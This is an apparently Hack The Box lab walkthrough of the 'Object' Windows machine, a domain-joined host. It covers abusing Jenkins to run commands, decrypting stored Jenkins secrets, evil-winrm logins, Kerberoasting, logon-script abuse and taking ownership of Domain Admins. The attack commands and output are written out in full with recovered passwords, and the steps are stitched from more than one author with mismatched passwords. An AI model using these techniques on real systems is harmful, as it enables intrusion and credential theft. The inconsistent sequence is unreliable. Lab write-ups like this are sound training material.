Object
NMAP
──(puck㉿kali)-[~/htb/object] └─$ nmap -Pn -sC -sV 10.10.11.132 -oN object.htb Starting Nmap 7.93 ( https://nmap.org ) at 2025-03-05 16:08 CET Stats: 0:00:10 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan Service scan Timing: About 0.00% done Nmap scan report for 10.10.11.132 Host is up (0.0086s latency). Not shown: 998 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 10.0 | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS/10.0 |_http-title: Mega Engines 8080/tcp open http Jetty 9.4.43.v20210629 |_http-title: Site doesn't have a title (text/html;charset=utf-8). |_http-server-header: Jetty(9.4.43.v20210629) | http-robots.txt: 1 disallowed entry |_/ Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 17.32 seconds
.
PORT 80 (HTTP)
On port 80 we can see a domain name object.htb
so let’s add this domain name in /etc/hosts
file and start fuzzing for files and directories using gobuster
also it tells about to “login and submit code on the automation server” which is running at port 8080
Gobuster didn’t find anything so next we can enumerate for subdomains
I kept running wfuzz
so while it’s running we can look at port 8080, on this port we have an instance on jenkins running
PORT 8080 (HTTP)
I tried the default admin:admin credentials but it didn’t work so we can just create an account
We are logged and on bottom right corner we can see the version of jenkins which is 2.317
Also there wasn’t any subdomain which wfuzz found
So we can make a Freestyle project by going to New Item
After naming the project you’ll be presented to Build Triggers, Build Environment, Source code management and etc.
Select Build Triggers
and then select Build periodically
,
it will create a scheduled task , and this will start building your project, we configure the job to run after a minute * * * * *
https://stackoverflow.com/questions/12472645/how-do-i-schedule-jobs-in-jenkins
Next under Build, we can see an option for Add Build step in which we can select Execute Windows Batch command
Going back to dashboard we can see a successful build
This shows that we are executing commands as oliver
So next I tried to see if I can ping my machine from here
We can so now let’s transfer nc64.exe on this machine
But it wasn’t able to make a connection to this port
So I changed the port to 9001 and it still didn’t make a connection
It could be that there’s a firewall configure to not allow any outbound traffic, so we can use powershell’s cmdlet Get-NetFirewallRule
to list firewall rules and we need to check for outbound
cmd.exe /c powershell.exe -c Get-NetFirewallRule -Action Block -Enabled True -Direction Outbound
Get-NetFirewallRule -Action Block -Enabled True -Direction Outbound Name : {D6399A8B-5E04-458F-AA68-62F64A4F1F43} DisplayName : BlockOutboundDC Description : DisplayGroup : Group : Enabled : True Profile : Any Platform : {} Direction : Outbound Action : Block EdgeTraversalPolicy : Block LooseSourceMapping : False LocalOnlyMapping : False Owner : PrimaryStatus : OK Status : The rule was parsed successfully from the store. (65536) EnforcementStatus : NotApplicable PolicyStoreSource : PersistentStore PolicyStoreSourceType : Local
So we can’t get a reverse shell as the traffic won’t go out , next we can do is look where jenkins stores passwords
Foothold
We can attempt to read the credentials.xml file, in case any credentials have been added to Jenkins.
We see our user and admin users folders. Let’s check the contents of config.xml inside the admin folder.
This reveals that the credentials of user oliver are stored on Jenkins.
Save this file as credentials.xml on your machine.
Now let’s retrieve master.key and hudson.util.Secret from secrets folder.
cmd.exe /c "dir c:\Users\oliver\Appdata\local\jenkins\.jenkins\users"
ConsoleOutput:
Started by timer Running as SYSTEM Building in workspace C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\puckie [puckie] $ cmd /c call C:\Users\oliver\AppData\Local\Temp\jenkins712492265978850530.bat C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\puckie>cmd.exe /c "dir c:\Users\oliver\Appdata\local\jenkins\.jenkins\users" Volume in drive C has no label. Volume Serial Number is 212C-60B7 Directory of c:\Users\oliver\Appdata\local\jenkins\.jenkins\users 03/05/2025 11:44 PM <DIR> . 03/05/2025 11:44 PM <DIR> .. 10/21/2021 01:22 AM <DIR> admin_17207690984073220035 03/05/2025 11:44 PM <DIR> puck_5926849104631399697 03/05/2025 11:44 PM 402 users.xml 1 File(s) 402 bytes 4 Dir(s) 4,661,514,240 bytes free C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\puckie>exit 0 Finished: SUCCESS
.
https://stackoverflow.com/questions/39340322/how-to-reset-the-user-password-of-jenkins-on-windows
Looking for a decrpytor for passwords I found a github repo which was go script
https://github.com/hoto/jenkins-credentials-decryptor
And this wants credentials.xml
, master.key
and hudson.util.Secret
cmd.exe /c "type c:\Users\oliver\Appdata\local\jenkins\.jenkins\users\admin_17207690984073220035\config.xml"
Started by timer Running as SYSTEM Building in workspace C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\puckie [puckie] $ cmd /c call C:\Users\oliver\AppData\Local\Temp\jenkins17350801960803601133.bat C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\puckie>cmd.exe /c "type c:\Users\oliver\Appdata\local\jenkins\.jenkins\users\admin_17207690984073220035\config.xml" <?xml version='1.1' encoding='UTF-8'?> <user> <version>10</version> <id>admin</id> <fullName>admin</fullName> <properties> <com.cloudbees.plugins.credentials.UserCredentialsProvider_-UserCredentialsProperty plugin="credentials@2.6.1"> <domainCredentialsMap class="hudson.util.CopyOnWriteMap$Hash"> <entry> <com.cloudbees.plugins.credentials.domains.Domain> <specifications/> </com.cloudbees.plugins.credentials.domains.Domain> <java.util.concurrent.CopyOnWriteArrayList> <com.cloudbees.plugins.credentials.impl.UsernamePasswordCredentialsImpl> <id>320a60b9-1e5c-4399-8afe-44466c9cde9e</id> <description></description> <username>oliver</username> <password>{AQAAABAAAAAQqU+m+mC6ZnLa0+yaanj2eBSbTk+h4P5omjKdwV17vcA=}</password> <usernameSecret>false</usernameSecret> </com.cloudbees.plugins.credentials.impl.UsernamePasswordCredentialsImpl> </java.util.concurrent.CopyOnWriteArrayList> </entry> --snip-- <timestamp>1634793332195</timestamp> </jenkins.security.LastGrantedAuthoritiesProperty> </properties> </user> C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\puckie>exit 0 Finished: SUCCESS REST API Jenkins 2.317
<SNIP> <description></description> <username>oliver</username> <password>{AQAAABAAAAAQqU+m+mC6ZnLa0+yaanj2eBSbTk+h4P5omjKdwV17vcA=} </password> <usernameSecret>false</usernameSecret> <SNIP>
Save this file as credentials.xml on your machine. Now let’s retrieve master.key and hudson.util.Secret from secrets folder
cmd.exe /c “type c:\Users\oliver\Appdata\local\jenkins\.jenkins\secrets\master.key”
powershell.exe -c “$c=[convert]::ToBase64String((Get-Content -path ‘c:\Users\oliver\Appdata\local\jenkins\.jenkins\secrets\hudson.util.Secret’ -Encoding byte));Write-Output $c”
Console Output:
Started by timer Running as SYSTEM Building in workspace C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\puckie [puckie] $ cmd /c call C:\Users\oliver\AppData\Local\Temp\jenkins16015007806811498831.bat C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\puckie>cmd.exe /c "type c:\Users\oliver\Appdata\local\jenkins\.jenkins\secrets\master.key" f673fdb0c4fcc339070435bdbe1a039d83a597bf21eafbb7f9b35b50fce006e564cff456553ed73cb1fa568b68b310addc576f1637a7fe73414a4c6ff10b4e23adc538e9b369a0c6de8fc299dfa2a3904ec73a24aa48550b276be51f9165679595b2cac03cc2044f3c702d677169e2f4d3bd96d8321a2e19e2bf0c76fe31db19 C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\puckie>powershell.exe -c "$c=[convert]::ToBase64String((Get-Content -path 'c:\Users\oliver\Appdata\local\jenkins\.jenkins\secrets\hudson.util.Secret' -Encoding byte));Write-Output $c" gWFQFlTxi+xRdwcz6KgADwG+rsOAg2e3omR3LUopDXUcTQaGCJIswWKIbqgNXAvu2SHL93OiRbnEMeKqYe07PqnX9VWLh77Vtf+Z3jgJ7sa9v3hkJLPMWVUKqWsaMRHOkX30Qfa73XaWhe0ShIGsqROVDA1gS50ToDgNRIEXYRQWSeJY0gZELcUFIrS+r+2LAORHdFzxUeVfXcaalJ3HBhI+Si+pq85MKCcY3uxVpxSgnUrMB5MX4a18UrQ3iug9GHZQN4g6iETVf3u6FBFLSTiyxJ77IVWB1xgep5P66lgfEsqgUL9miuFFBzTsAkzcpBZeiPbwhyrhy/mCWogCddKudAJkHMqEISA3et9RIgA= C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\puckie>exit 0 Finished: SUCCESS
We can then decrypt the secret using jenkins_offline_decrypt. jenkins_offline_decrypt.py
┌──(puck㉿kali)-[~/htb/object] └─$ python3 jenkins_offline_decrypt.py master.key hudson.util.Secret credentials.xml c1cdfun_d2434
Like this we were able to recover the plain text password which is c1cdfun_d2434
, since winrm is open on the machine we can just use this password for oliver user and get a shell on the machine
┌──(puck㉿kali)-[~/htb/object] └─$ evil-winrm -i object.htb -u 'oliver' -p 'c1cdfun_d2434' Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\oliver\Documents> whoami /priv PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= ============================== ======= SeMachineAccountPrivilege Add workstations to domain Enabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Enabled *Evil-WinRM* PS C:\Users\oliver\Documents>
Looking at C:\Users
we do see other users as well
We can check for local ports on the machine by running netstat -aof
*Evil-WinRM* PS C:\Users\oliver\Documents> netstat -aof Active Connections Proto Local Address Foreign Address State PID TCP 0.0.0.0:80 jenkins.object.local:0 LISTENING 4 TCP 0.0.0.0:88 jenkins.object.local:0 LISTENING 656 TCP 0.0.0.0:135 jenkins.object.local:0 LISTENING 904 TCP 0.0.0.0:389 jenkins.object.local:0 LISTENING 656 TCP 0.0.0.0:445 jenkins.object.local:0 LISTENING 4 TCP 0.0.0.0:464 jenkins.object.local:0 LISTENING 656 --snip- TCP 0.0.0.0:49695 jenkins.object.local:0 LISTENING 2964 TCP 0.0.0.0:49923 jenkins.object.local:0 LISTENING 2976 TCP 10.10.11.132:53 jenkins.object.local:0 LISTENING 2964 TCP 10.10.11.132:139 jenkins.object.local:0 LISTENING 4 TCP 10.10.11.132:5985 10.10.14.2:39566 TIME_WAIT 0
Port 88 being open on this machine tells us that it’s an active directory machine and this is a domain controller as kerberos runs on a DC.
So to enumerate the AD domain we need to somehow transfer sharphound.exe
on the machine
*Evil-WinRM* PS C:\Users\oliver\Documents> cd c:\programdata *Evil-WinRM* PS C:\programdata> upload SharpHound.exe Info: Uploading /home/puck/htb/object/SharpHound.exe to C:\programdata\SharpHound.exe Data: 1395368 bytes of 1395368 bytes copied Info: Upload successful! *Evil-WinRM* PS C:\programdata> ./SharpHound.exe all 2025-03-05T08:03:39.2208887-08:00|INFORMATION|This version of SharpHound is compatible with the 4.3.1 Release of BloodHound 2025-03-05T08:03:39.3615152-08:00|INFORMATION|Resolved Collection Methods: Group, LocalAdmin, Session, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote 2025-03-05T08:03:39.3771615-08:00|INFORMATION|Initializing SharpHound at 8:03 AM on 3/5/2025 2025-03-05T08:03:39.5021286-08:00|INFORMATION|[CommonLib LDAPUtils]Found usable Domain Controller for object.local : jenkins.object.local 2025-03-05T08:03:39.5333857-08:00|INFORMATION|Flags: Group, LocalAdmin, Session, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote 2025-03-05T08:03:39.6740295-08:00|INFORMATION|Beginning LDAP search for object.local 2025-03-05T08:03:39.7052642-08:00|INFORMATION|Producer has finished, closing LDAP channel 2025-03-05T08:03:39.7052642-08:00|INFORMATION|LDAP channel closed, waiting for consumers 2025-03-05T08:04:09.9396449-08:00|INFORMATION|Status: 0 objects finished (+0 0)/s -- Using 35 MB RAM 2025-03-05T08:04:23.7052536-08:00|INFORMATION|Consumers finished, closing output channel 2025-03-05T08:04:23.7521298-08:00|INFORMATION|Output channel closed, waiting for output task to complete Closing writers 2025-03-05T08:04:23.9708843-08:00|INFORMATION|Status: 92 objects finished (+92 2.090909)/s -- Using 42 MB RAM 2025-03-05T08:04:23.9708843-08:00|INFORMATION|Enumeration finished in 00:00:44.3016914 2025-03-05T08:04:24.0490082-08:00|INFORMATION|Saving cache with stats: 52 ID to type mappings. 52 name to SID mappings. 0 machine sid mappings. 2 sid to domain mappings. 0 global catalog mappings. 2025-03-05T08:04:24.0490082-08:00|INFORMATION|SharpHound Enumeration Completed at 8:04 AM on 3/5/2025! Happy Graphing! *Evil-WinRM* PS C:\programdata> ls *.zip Directory: C:\programdata Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 3/5/2025 8:04 AM 11526 20250305080423_BloodHound.zip *Evil-WinRM* PS C:\programdata> download 20250305080423_BloodHound.zip Info: Downloading C:\programdata\20250305080423_BloodHound.zip to 20250305080423_BloodHound.zip Info: Download successful! *Evil-WinRM* PS C:\programdata>
.
Start bloodhound by running sudo neo4j console first and then bloodhoud GUI and upload the json files from the zip archive
Privilege Escalation (Oliver -> Smith -> Maria)
Running the query shortest path to domain admin, we can see a path from oliver to smith that we can change smith’s password,
further smith
has write options on maria
user object and maria is a writeowner of domain admin
Privilege Escalation (Smith)
Running the query shortest path to domain admin, we can see a path from oliver to smith that we can change smith’s password,
further smith
has write options on maria
user object and maria is a writeowner of domain admin
I tried to change smith’s password with net user
smith but it didn’t work
bloodyAD
. https://github.com/CravateRouge/bloodyAD┌──(puck㉿kali)-[~/htb/object] └─$ evil-winrm -i object.htb -u 'oliver' -p 'c1cdfun_d2434' *Evil-WinRM* PS C:\Users\oliver\Documents> cd c:\programdata *Evil-WinRM* PS C:\programdata> upload bloodyAD.exe Info: Uploading /home/puck/htb/object/bloodyAD.exe to C:\programdata\bloodyAD.exe Data: 18455676 bytes of 18455676 bytes copied Info: Upload successful! *Evil-WinRM* PS C:\programdata> .\bloodyAD.exe --host 127.0.0.1 -d object.htb set password "smith" "Summer2025!" bloodyAD.exe : unicrypto\backends\cryptography\RC4.py:13: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from cryptography.hazmat.primitives.ciphers.algorithms in 48.0.0. + CategoryInfo : NotSpecified: (unicrypto\backe...thms in 48.0.0.:String) [], RemoteException + FullyQualifiedErrorId : NativeCommandError [+] Password changed successfully! *Evil-WinRM* PS C:\programdata>
We could also use powerview module to do that which is suggested in bloodhound help to abuse ForceChangePassword
*Evil-WinRM* PS C:\programdata> . ./PowerView.ps1 *Evil-WinRM* PS C:\programdata> $pass = ConvertTo-SecureString 'Summer2025!' -AsPlainText -Force *Evil-WinRM* PS C:\programdata> Set-DomainUserPassword -Identity smith -AccountPassword $pass
Check if pasword changed succesfully with netexec
┌──(puck㉿kali)-[~/htb/object] └─$ nxc winrm 10.10.11.132 -u 'smith' -p 'Summer2025!' WINRM 10.10.11.132 5985 JENKINS [*] Windows 10 / Server 2019 Build 17763 (name:JENKINS) (domain:object.local) WINRM 10.10.11.132 5985 JENKINS [+] object.local\smith:Summer2025! (Pwn3d!)
And now to login as smith
┌──(puck㉿kali)-[~/htb/object] └─$ evil-winrm -i object.htb -u 'smith' -p 'Summer2025!' Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\smith\Documents> whoami object\smith *Evil-WinRM* PS C:\Users\smith\Documents>
Now to abuse GenericWrite
, we can make this user account a SPN to get a TGS ticket
We see that user smith has GenericWrite on user maria , that’s our 1st plan

First of all we will get some information about the user maria:
*Evil-WinRM* PS C:\programdata> Get-DomainObject -Identity maria
*Evil-WinRM* PS C:\programdata> . ./PowerView.ps1 *Evil-WinRM* PS C:\programdata> Get-DomainObject -Identity maria logoncount : 39 badpasswordtime : 10/22/2021 5:54:46 AM distinguishedname : CN=maria garcia,CN=Users,DC=object,DC=local objectclass : {top, person, organizationalPerson, user} displayname : maria garcia lastlogontimestamp : 3/12/2025 8:24:19 AM userprincipalname : maria@object.local name : maria garcia objectsid : S-1-5-21-4088429403-1159899800-2753317549-1106 samaccountname : maria codepage : 0 samaccounttype : USER_OBJECT accountexpires : NEVER countrycode : 0 whenchanged : 3/12/2025 3:24:19 PM instancetype : 4 usncreated : 20645 objectguid : 9340fcdd-2f1e-4f89-bafe-e1dcdd5c2b6f sn : garcia lastlogoff : 12/31/1600 4:00:00 PM objectcategory : CN=Person,CN=Schema,CN=Configuration,DC=object,DC=local dscorepropagationdata : {10/22/2021 10:21:48 AM, 10/22/2021 10:10:02 AM, 10/22/2021 10:04:25 AM, 10/22/2021 9:52:43 AM...} givenname : maria memberof : CN=Remote Management Users,CN=Builtin,DC=object,DC=local lastlogon : 3/12/2025 8:24:19 AM badpwdcount : 0 cn : maria garcia useraccountcontrol : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD whencreated : 10/22/2021 4:16:32 AM primarygroupid : 513 pwdlastset : 10/21/2021 9:16:32 PM usnchanged : 159808
and Bloodhound
Abuse Info
suggests an attack route using
Kerberoast
:


With setspn we consult the service principal names created in the domain controller:
*Evil-WinRM* PS C:\programdata> setspn.exe -t object.local -q */*

We create a Service Principal Name and accosiate this with the user maria:
*Evil-WinRM* PS C:\programdata> $SecPassword = ConvertTo-SecureString 'Password1!' -AsPlainText -Force *Evil-WinRM* PS C:\programdata> $Cred = New-Object System.Management.Automation.PSCredential('object.local\smith', $SecPassword) *Evil-WinRM* PS C:\programdata> Set-DomainObject -Credential $Cred -Identity maria -SET @{serviceprincipalname='RAGNAR/LOTHBROK'}
Now we verify that it has been created correctly:
*Evil-WinRM* PS C:\programdata> setspn.exe -t object.local -q RAGNAR/LOTHBROK

We use Rubeus for a Kerberoast attack:
*Evil-WinRM* PS C:\programdata> .\Rubeus.exe kerberoast /creduser:object.local\smith /credpassword:'Password1!' /nowrap

C:\Users\sd9\Downloads\hashcat-6.2.5>hashcat.exe -m 13100 maria.txt -r OneRuleToRuleThemAll.rule rockyou.txt --force
But it cracks with a customwordlist
┌──(puck㉿kali)-[~/htb/object] └─$ hashcat -m 13100 mariahash.txt maria-pass.txt --force hashcat (v6.2.6) starting Dictionary cache built: * Filename..: maria-pass.txt $krb5tgs$23$*maria$object.local$RAGNAR/LOTHBROK@object.local*$d5a69--snip--48b8b:W3llcr4ft3d_4cls Session..........: hashcat Status...........: Cracked Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP) Hash.Target......: $krb5tgs$23$*maria$object.local$RAGNAR/LOTHBROK@obj...848b8b Time.Started.....: Wed Mar 12 16:47:13 2025, (0 secs) Time.Estimated...: Wed Mar 12 16:47:13 2025, (0 secs) Started: Wed Mar 12 16:47:12 2025 Stopped: Wed Mar 12 16:47:15 2025 ┌──(puck㉿kali)-[~/htb/object] └─$
Esta vía de explotación está descrita en HackTricks:
We still can abuse this by setting up a logon script, this will execute when maria will logon to the machine
https://www.thehacker.recipes/ad/movement/access-controls/logon-script
Privilege Escalation (Maria)
So using powerview’s module we can use
Set-DomainObject -Identity maria -SET @{scriptpath="C:\ProgramData\logonscript.ps1"}
This will execute the powershell script which will list the contents in Desktop folder of maria, I did however tried to change maria’s password through net user maria Password123!
but this didn’t work
Logon Script
HackTricks suggests I can use GenericWrite
on a user to update their logon scripts. This script would run the next time the user logs in. That’s not typical on HTB/CTF machines, but it’s possibly something automated in the background.
I’ll write a script that will ping my host, remembering from the firewall enumeration earlier that ICMP is one of the few things allowed outbound, and set the script:
*Evil-WinRM* PS C:\programdata> echo "ping 10.10.14.6" > ping.ps1
*Evil-WinRM* PS C:\programdata> Set-DomainObject -Identity maria -SET @{scriptpath="C:\\programdata\\ping.ps1"}
Instantly there are packets at tcpdump
:
oxdf@hacky$ sudo tcpdump -ni tun0 icmp
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes
ec11:20:01.252961 IP 10.10.11.132 > 10.10.14.6: ICMP echo request, id 2, seq 11053, length 40
11:20:01.253007 IP 10.10.14.6 > 10.10.11.132: ICMP echo reply, id 2, seq 11053, length 40
11:20:02.260576 IP 10.10.11.132 > 10.10.14.6: ICMP echo request, id 2, seq 11056, length 40
11:20:02.260615 IP 10.10.14.6 > 10.10.11.132: ICMP echo reply, id 2, seq 11056, length 40
11:20:03.276421 IP 10.10.11.132 > 10.10.14.6: ICMP echo request, id 2, seq 11059, length 40
11:20:03.276457 IP 10.10.14.6 > 10.10.11.132: ICMP echo reply, id 2, seq 11059, length 40
11:20:04.279746 IP 10.10.11.132 > 10.10.14.6: ICMP echo request, id 2, seq 11062, length 40
11:20:04.279779 IP 10.10.14.6 > 10.10.11.132: ICMP echo reply, id 2, seq 11062, length 40
...[snip]..
I would have expected only five pings, but it goes on indefinitely until I change the script. It seems this logon script is being run repeatedly
.
Home Dir Enum
Because I know I can’t connect back because of the firewall, I’ll drop scripts into the logon that write results where I can read them. For example:
*Evil-WinRM* PS C:\programdata> echo "ls \users\maria\ > \programdata\out" > cmd.ps1
*Evil-WinRM* PS C:\programdata> Set-DomainObject -Identity maria -SET @{scriptpath="C:\\programdata\\cmd.ps1"}
About a second or so later there’s an out
:
*Evil-WinRM* PS C:\programdata> type out
Directory: C:\users\maria
Mode LastWriteTime Length Name
---- ------------- ------ ----
d-r--- 10/22/2021 3:54 AM 3D Objects
d-r--- 10/22/2021 3:54 AM Contacts
d-r--- 10/25/2021 3:47 AM Desktop
d-r--- 10/25/2021 10:07 PM Documents
d-r--- 10/22/2021 3:54 AM Downloads
d-r--- 10/22/2021 3:54 AM Favorites
d-r--- 10/22/2021 3:54 AM Links
d-r--- 10/22/2021 3:54 AM Music
d-r--- 10/22/2021 3:54 AM Pictures
d-r--- 10/22/2021 3:54 AM Saved Games
d-r--- 10/22/2021 3:54 AM Searches
d-r--- 10/22/2021 3:54 AM Videos
It’s interesting that the Documents
and Desktop
folders have different timestamp than the rest. I’ll list those directories:
*Evil-WinRM* PS C:\programdata> echo "ls \users\maria\documents > \programdata\out; ls \users\maria\desktop\ > \programdata\out2" > cmd.ps1
*Evil-WinRM* PS C:\programdata> ls out*
Directory: C:\programdata
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 2/28/2022 3:42 AM 0 out
-a---- 2/28/2022 3:42 AM 830 out2
*Evil-WinRM* PS C:\programdata> type out2
Directory: C:\users\maria\desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 10/26/2021 8:13 AM 6144 Engines.xls
There’s a single file on the desktop. I’ll copy it to programdata
and download it:
*Evil-WinRM* PS C:\programdata> echo "copy \users\maria\desktop\Engines.xls \programdata\" > cmd.ps1
*Evil-WinRM* PS C:\programdata> ls Engines.xls
Directory: C:\programdata
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 10/26/2021 8:13 AM 6144 Engines.xls
*Evil-WinRM* PS C:\programdata> download C:\programdata\Engines.xls Engines.xls
Info: Downloading C:\programdata\Engines.xls to Engines.xls
Info: Download successful!
Engines.xls
The Excel file opens in LibreOffice Calc
in my Linux VM, and it includes a list of machines and passwords for maria:
On opening the excel document we can see three passwords for maria user
.
WinRM
crackmapexec can quickly test each password for maria. I’ll save them into a text time, and run it:
┌──(puck㉿kali)-[~/htb/object] └─$ nxc winrm 10.10.11.132 -u maria -p maria-pass.txt WINRM 10.10.11.132 5985 JENKINS [*] Windows 10 / Server 2019 Build 17763 (name:JENKINS) (domain:object.local) WINRM 10.10.11.132 5985 JENKINS [-] object.local\maria:d34gb8@ WINRM 10.10.11.132 5985 JENKINS [-] object.local\maria:0de_434_d545 WINRM 10.10.11.132 5985 JENKINS [+] object.local\maria:W3llcr4ft3d_4cls (Pwn3d!)
The last one works over WinRM for maria:
┌──(puck㉿kali)-[~/htb/object] └─$ evil-winrm -i object.htb -u 'maria' -p 'W3llcr4ft3d_4cls' *Evil-WinRM* PS C:\Users\maria\Documents> whoami /priv PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= ============================== ======= SeMachineAccountPrivilege Add workstations to domain Enabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Enabled *Evil-WinRM* PS C:\Users\maria\Documents>
.
Now going back to bloodhound GUI we can see the WriteOwner
on Domain Admins
group
https://book.hacktricks.xyz/windows/active-directory-methodology/acl-persistence-abuse
.
*Evil-WinRM* PS C:\programdata> . ./PowerView.ps1 *Evil-WinRM* PS C:\programdata> Set-DomainObjectOwner -Identity 'Domain Admins' -OwnerIdentity 'maria' -Verbose Verbose: [Get-DomainSearcher] search base: LDAP://DC=object,DC=local Verbose: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=maria)(name=maria)(displayname=maria)))) Verbose: [Get-DomainSearcher] search base: LDAP://DC=object,DC=local Verbose: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=Domain Admins)(name=Domain Admins)(displayname=Domain Admins)))) Verbose: [Set-DomainObjectOwner] Attempting to set the owner for 'Domain Admins' to 'maria' *Evil-WinRM* PS C:\programdata> Add-DomainObjectAcl -TargetIdentity "Domain Admins" -PrincipalIdentity maria -Rights All *Evil-WinRM* PS C:\programdata> Add-DomainGroupMember -Identity 'Domain Admins' -Members maria *Evil-WinRM* PS C:\programdata> net group "Domain Admins" /domain Group name Domain Admins Comment Designated administrators of the domain Members ------------------------------------------------------------------------------- Administrator maria The command completed successfully. *Evil-WinRM* PS C:\programdata>
.
So now we have set the object owner of the group domain admins to maria and we now have to grant all permissions on this object
and added maria user to this domain admins group
We need to login again because the changes will be effected after you login again
──(puck㉿kali)-[~/htb/object] └─$ evil-winrm -i object.htb -u 'maria' -p 'W3llcr4ft3d_4cls' Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\maria\Documents> cd c:\users\administrator\desktop *Evil-WinRM* PS C:\users\administrator\desktop> dir Directory: C:\users\administrator\desktop Mode LastWriteTime Length Name ---- ------------- ------ ---- -ar--- 3/5/2025 11:42 PM 34 root.txt *Evil-WinRM* PS C:\users\administrator\desktop>
.
We could also set the object owner of the group domain admins to maria with BloodyAD ( and then continue with Add-DomainObjectAcl form PowerView.ps1
*Evil-WinRM* PS C:\programdata> .\bloodyAD --host 127.0.0.1 -d 'object.local' -u 'maria' -p 'W3llcr4ft3d_4cls' set owner 'Domain Admins' 'maria' bloodyAD.exe : unicrypto\backends\cryptography\RC4.py:13: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from cryptography.hazmat.primitives.ciphers.algorithms in 48.0.0. + CategoryInfo : NotSpecified: (unicrypto\backe...thms in 48.0.0.:String) [], RemoteException + FullyQualifiedErrorId : NativeCommandError [+] Old owner S-1-5-21-4088429403-1159899800-2753317549-512 is now replaced by maria on Domain Admins *Evil-WinRM* PS C:\programdata>
.
References
- https://stackoverflow.com/questions/12472645/how-do-i-schedule-jobs-in-jenkins
- http://woshub.com/manage-windows-firewall-powershell/
- https://stackoverflow.com/questions/39340322/how-to-reset-the-user-password-of-jenkins-on-windows
- https://github.com/hoto/jenkins-credentials-decryptor
- https://shellgeek.com/get-domain-name-using-powershell-and-cmd/
- https://cheatsheet.haax.fr/windows-systems/network-and-domain-recon/domain_mapping/
- https://www.thehacker.recipes/ad/movement/access-controls/logon-script
- https://book.hacktricks.xyz/windows/active-directory-methodology/acl-persistence-abuse